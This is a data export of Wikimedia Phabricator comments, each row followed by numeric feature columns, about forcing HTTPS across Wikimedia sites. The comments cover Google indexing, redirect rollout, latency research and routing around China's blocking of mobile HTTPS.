So I think if you really don't want Google to index HTTPS at first, we need to explicitly exclude Google from the HTTP-to-HTTPS redirect.",,,1430209087,,PHID-USER-arjqb24x4oae7awzpfp6,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,11.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,28.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,17.0,15.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.647887323943662,0.5774647887323944,"QUOTE
QUOTE

Actually even if we specify rel=canonical, Google may still index HTTPS once we start to redirect from HTTP to HTTPS. 

From URL
QUOTE
QUOTE
QUOTE
QUOTE
So I think if you really don't want Google to index HTTPS at first, we need to explicitly exclude Google from the HTTP-to-HTTPS redirect."
450119,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1240811, @MZMcBride wrote:
> My understanding is that we could do a slow ramp-up by setting the canonical URL (via a <meta> tag in the <head> of the HTML page source) to specify HTTPS. This would signal our preference for HTTPS to Google and other crawlers. Would this be reasonable now across Wikimedia wikis?

As I've stated before, personally I'd prefer to do the hard redirects before the rel=canonical during the initial rollout process, simply because it's easier to take back in realtime if anything doesn't work out as planned in terms of load and capacity.  We already have a process down for this stuff.  It's not my place to speak to the rest, but I assure you people are aware and working on it.",,,1430198417,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,0.0,1.0,0.0,0.0,2.0,4.0,1.0,1.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,6.0,0.0,8.0,19.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,9.0,2.0,3.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,3.7555555555555555,0.7777777777777778,"QUOTE
QUOTE

As I've stated before, personally I'd prefer to do the hard redirects before the rel=canonical during the initial rollout process, simply because it's easier to take back in realtime if anything doesn't work out as planned in terms of load and capacity.  We already have a process down for this stuff.  It's not my place to speak to the rest, but I assure you people are aware and working on it."
450118,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1240760, @BBlack wrote:
> Personally, I'm all for turning this on as quickly as we can and could write paragraphs on why we should in the net of all current considerations.  However, there's still some ongoing research and debate happening within the broader WMF as a whole regarding the impact of these decisions on all of the other things we value aside from privacy.

Can we please be more specific here? Who is doing research and debating and when are such activities expected to finish? My concern is that vague comments will delay us a lot longer. In my opinion, at this point, given the technical all-clear, we need to figure out what the next specific action items are.

My understanding is that we could do a slow ramp-up by setting the canonical URL (via a <meta> tag in the <head> of the HTML page source) to specify HTTPS. This would signal our preference for HTTPS to Google and other crawlers. Would this be reasonable now across Wikimedia wikis?",,,1430198074,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,0.5,0.0,0.0,0.0,0.0,7.5,3.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,5.0,1.0,3.5,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.5,2.0,0.0,3.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,14.5,1.5,2.0,0.5,1.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,4.5,10.0,2.0,2.0,7.5,0.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,5.0,10.0,2.5,2.0,0.0,0.0,5.0,0.0,1.5,2.0,0.5,1.5,1.0,0.0,3.0,3.8384615384615386,0.8538461538461539,"QUOTE
QUOTE

Can we please be more specific here? Who is doing research and debating and when are such activities expected to finish? My concern is that vague comments will delay us a lot longer. In my opinion, at this point, given the technical all-clear, we need to figure out what the next specific action items are.

My understanding is that we could do a slow ramp-up by setting the canonical URL (via a <meta> tag in the <head> of the HTML page source) to specify HTTPS. This would signal our preference for HTTPS to Google and other crawlers. Would this be reasonable now across Wikimedia wikis?"
450099,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Turning this on doesn't really go by-user-location, it goes by-wiki or groups of wikis (mostly because of HSTS, but regardless, geoip isn't reliable enough to make a hard distinction like this, and our datacenter locations aren't strictly tied to user location either).

Personally, I'm all for turning this on as quickly as we can and could write paragraphs on why we should in the net of all current considerations.  However, there's still some ongoing research and debate happening within the broader WMF as a whole regarding the impact of these decisions on all of the other things we value aside from privacy.",,,1430194891,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,3.0,0.0,0.0,0.5,1.5,4.0,0.5,0.5,0.0,0.0,4.0,2.0,0.0,0.0,1.0,3.5,0.0,10.0,14.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,1.5,4.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,10.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,3.5,1.5,3.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,14.0,1.5,0.0,0.0,0.0,4.0,0.0,1.0,1.5,0.0,3.0,1.0,0.0,0.0,4.079365079365079,0.7698412698412698,"Turning this on doesn't really go by-user-location, it goes by-wiki or groups of wikis (mostly because of HSTS, but regardless, geoip isn't reliable enough to make a hard distinction like this, and our datacenter locations aren't strictly tied to user location either).

Personally, I'm all for turning this on as quickly as we can and could write paragraphs on why we should in the net of all current considerations.  However, there's still some ongoing research and debate happening within the broader WMF as a whole regarding the impact of these decisions on all of the other things we value aside from privacy."
450095,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Can we start to force HTTPS for all users from the US soon? They should have low latency impact, since they are close to the datacenters. Do we have a timeline now? One thing is that once we redirect to HTTPS for US users, Google will update the indexed Wikipedia links to HTTPS as well.",,,1430194440,,PHID-USER-arjqb24x4oae7awzpfp6,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,2.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,7.0,16.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,18.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,8.0,16.0,10.0,3.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.819672131147541,0.7377049180327869,"Can we start to force HTTPS for all users from the US soon? They should have low latency impact, since they are close to the datacenters. Do we have a timeline now? One thing is that once we redirect to HTTPS for US users, Google will update the indexed Wikipedia links to HTTPS as well."
445302,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"I see. Just for your reference, the English Wikipedia community had a discussion (https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(proposals)/Archive_120#Should_Wikipedia_use_HTTPS_by_default_for_all_readers.3F) about this and while many points were made on both sides, the conclusion from that community was that this issue is to be decided by the WMF/developers. So good luck with your analysis, and I hope that any possible issues can be resolved soon so that we can make the switch in the near future. Thanks.",,,1429282118,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,85,True,2.0,0.0,0.0,4.0,0.0,5.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,1.0,0.0,2.0,0.0,4.0,0.0,0.0,1.0,2.0,0.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,15.0,1.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,11.0,6.0,2.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,16.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.975,0.7625,"I see. Just for your reference, the English Wikipedia community had a discussion (URL about this and while many points were made on both sides, the conclusion from that community was that this issue is to be decided by the WMF/developers. So good luck with your analysis, and I hope that any possible issues can be resolved soon so that we can make the switch in the near future. Thanks."
445110,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"With the completion of the scaling work, whether and when we flip the switch to force HTTPS for more (or all) wikis is mostly an analysis and decision-making issue now rather than a technical one.  I believe we're currently still trying to gather some insightful/useful data on user impact (in terms of latency, mostly) to inform those decisions.  Of course there's always a risk that the data could lead us back to something like ""more software changes are needed before the tradeoffs are acceptable to turn this on globally.""",,,1429239920,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,85,True,1.0,1.0,0.0,1.0,0.0,4.5,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,2.5,0.0,8.5,13.5,1.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,2.0,0.0,1.0,1.0,0.0,0.0,12.5,0.0,2.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.5,2.5,2.5,2.0,1.5,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,2.5,13.5,0.5,0.0,2.0,0.0,2.5,0.0,0.5,2.0,1.0,1.0,1.5,0.0,0.0,4.064814814814815,0.8796296296296297,"With the completion of the scaling work, whether and when we flip the switch to force HTTPS for more (or all) wikis is mostly an analysis and decision-making issue now rather than a technical one.  I believe we're currently still trying to gather some insightful/useful data on user impact (in terms of latency, mostly) to inform those decisions.  Of course there's always a risk that the data could lead us back to something like ""more software changes are needed before the tradeoffs are acceptable to turn this on globally."""
445109,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),I see that the HTTPS infrastructure is now able to serve HTTPS-by-default (https://www.mediawiki.org/w/index.php?title=Wikimedia_Engineering%2F2014-15_Goals&diff=1535407&oldid=1519260). That's great! Any updates on the actual implementation? Thanks.,,,1429239521,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,85,True,3.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,23.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.903225806451613,0.9032258064516129,I see that the HTTPS infrastructure is now able to serve HTTPS-by-default (URL That's great! Any updates on the actual implementation? Thanks.
434420,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),That's great to hear! Thanks.,,,1427511638,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,82,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,That's great to hear! Thanks.
432461,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Great! https://en.m.wikipedia.org now works in China. According to [[https://zh.wikipedia.org/wiki/Wikipedia_talk:%E7%8B%80%E6%B3%81%E5%9B%9E%E5%A0%B1 |the report on zhwiki]] and tests on greatfire.org, only http://zh.wikisource.org/, http://zh.wikinews.org/, and http://ug.wikipedia.org/ are still blocked, which I think are blocked based on URL rather than IP. All other Wikimedia sites, (http and https) are not blocked now. Thank you!",,,1427302140,,PHID-USER-arjqb24x4oae7awzpfp6,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,2.0,0.0,0.0,5.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,22.0,0.0,5.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,3.5555555555555554,0.6666666666666666,"Great! URL now works in China. According to [[URL |the report on zhwiki]] and tests on greatfire.org, only URL URL and URL are still blocked, which I think are blocked based on URL rather than IP. All other Wikimedia sites, (http and https) are not blocked now. Thank you!"
432409,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"The switch of CN to ulsfo was done in https://gerrit.wikimedia.org/r/#/c/199621/ about half an hour ago.  Our TTLs are considerably shorter than that, so the change should already be in effect in cases where DNS caching isn't broken.  We'll see how it goes :)",,,1427298023,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,0.0,0.0,0.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,4.0,0.0,14.0,14.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,2.0,6.0,8.0,14.0,4.0,2.0,10.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,14.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,2.0,2.0,0.0,0.0,3.56,0.92,"The switch of CN to ulsfo was done in URL about half an hour ago.  Our TTLs are considerably shorter than that, so the change should already be in effect in cases where DNS caching isn't broken.  We'll see how it goes :)"
432381,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Well, CN belongs in ulsfo anyway, geographically speaking. It stayed in eqiad during the ulsfo rollout on purpose, in order to not poke the (firewall) beast :)

We can move CN to ulsfo now. The only real risk is that desktop HTTPS being unblocked is a mistake and they'll realize it as soon as we shuffle things around :)",,,1427295705,,PHID-USER-ktuojnvco4fpzmyhzyaf,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,0.0,0.0,0.0,0.0,1.0,6.0,4.0,0.0,0.0,0.0,7.0,1.0,0.0,1.0,0.0,3.0,0.0,12.0,13.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,1.0,6.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,4.0,10.0,0.0,1.0,7.0,0.0,3.0,0.0,0.0,6.0,1.0,0.0,0.0,7.0,13.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8823529411764706,0.8088235294117647,"Well, CN belongs in ulsfo anyway, geographically speaking. It stayed in eqiad during the ulsfo rollout on purpose, in order to not poke the (firewall) beast :)

We can move CN to ulsfo now. The only real risk is that desktop HTTPS being unblocked is a mistake and they'll realize it as soon as we shuffle things around :)"
432377,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"We can try in case it's a lingering mistake, but if it's intentional I'm sure they'll just adapt on their side.",,,1427295504,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.3703703703703702,0.9259259259259259,"We can try in case it's a lingering mistake, but if it's intentional I'm sure they'll just adapt on their side."
432099,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1147410, @Tony_Tan_98 wrote:
> Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted. I say this from personal experience, but here is a site to back it up: https://en.greatfire.org/https/en.wikipedia.org
> https://en.greatfire.org/https/en.m.wikipedia.org

It seems mobile-lb.eqiad is blocked in China, but esams and ulsfo are not. How about mapping Chinese users to one of these two clusters?
https://en.greatfire.org/https/mobile-lb.eqiad.wikimedia.org
https://en.greatfire.org/https/mobile-lb.ulsfo.wikimedia.org
https://en.greatfire.org/https/mobile-lb.esams.wikimedia.org",,,1427254862,,PHID-USER-arjqb24x4oae7awzpfp6,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,26.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,10.0,13.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6923076923076925,0.7948717948717948,"QUOTE
QUOTE
QUOTE

It seems mobile-lb.eqiad is blocked in China, but esams and ulsfo are not. How about mapping Chinese users to one of these two clusters?
URL
URL
URL"
432098,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1147410, @Tony_Tan_98 wrote:
> Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted. I say this from personal experience, but here is a site to back it up: https://en.greatfire.org/https/en.wikipedia.org
> https://en.greatfire.org/https/en.m.wikipedia.org

It seems mobile-lb.eqiad is blocked in China, but esams and ulsfo are not. How about map Chinese users to one of these two clusters?
https://en.greatfire.org/https/mobile-lb.eqiad.wikimedia.org
https://en.greatfire.org/https/mobile-lb.ulsfo.wikimedia.org
https://en.greatfire.org/https/mobile-lb.esams.wikimedia.org",,,1427254838,,PHID-USER-arjqb24x4oae7awzpfp6,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,82,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,26.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,3.0,10.0,13.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.58974358974359,0.7948717948717948,"QUOTE
QUOTE
QUOTE

It seems mobile-lb.eqiad is blocked in China, but esams and ulsfo are not. How about map Chinese users to one of these two clusters?
URL
URL
URL"
432060,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted. I say this from personal experience, but here is a site to back it up: https://en.greatfire.org/https/en.wikipedia.org
https://en.greatfire.org/https/en.m.wikipedia.org",,,1427246532,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,82,True,0.0,2.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,14.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,18.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,14.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.82,0.78,"Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted. I say this from personal experience, but here is a site to back it up: URL
URL"
432058,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted. I say this from personal experience, but here is a site to back it up: https://en.greatfire.org/https/en.wikipedia.org",,,1427246469,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,82,True,0.0,2.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,15.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,17.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,15.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8958333333333335,0.7916666666666666,"Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted. I say this from personal experience, but here is a site to back it up: URL"
432057,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted.",,,1427246420,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,82,True,0.0,3.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,13.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.266666666666667,0.7666666666666667,"Just to let everyone know, HTTPS traffic to desktop Wikimedia sites is no longer blocked in China. However, HTTPS to the mobile sites is still disrupted."
212340,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"(In reply to comment #26)
> (In reply to comment #24)
> > An idea for dealing with China and other cases where HTTPS is blocked - could
> > there be an 'http://insecure.wikipedia.org'? The inverse of the situation we
> > had with 'https://secure.wikipedia.org'. At least the domain name advertises
> > the problem to the user.
> > 
> > This is far less slick than a geolocated redirect, but in situations where
> > HTTPS is blocked, I don't see any way to preserve usability and security at
> > the
> > same time. 
> > 
> > As far as I know, if HTTPS is blocked, we can't redirect them to HTTP,
> > because
> > they won't even reach our server. We could only 'upgrade', by redirecting
> > from
> > HTTP to HTTPS. But by then it's too late; the article they've requested was
> > captured by intermediaries.
> > 
> > Maybe with 'insecure.wikipedia.org', savvy users in places like China would
> > learn the trick, or use browser extensions to fix links. Presumably it would
> > be
> > the 'HTTP Everywhere' extension.
> 
> I somewhat like this concept for the advertising part too. We want to make
> sure
> that those who are unable to use https (ESPECIALLY if that's because of
> government interference like china) are able to use the site but we also
> should
> (in my mind) make sure that they KNOW they are unable to use it like normal
> and
> that their use is less secure because those users are often the catalyst for
> change.
> 
> If we had more time I'd say we should strive for a geolocated test in Hong
> Kong
> during Wikimania though I imagine even the suggestion of that makes ops
> shudder
> :).

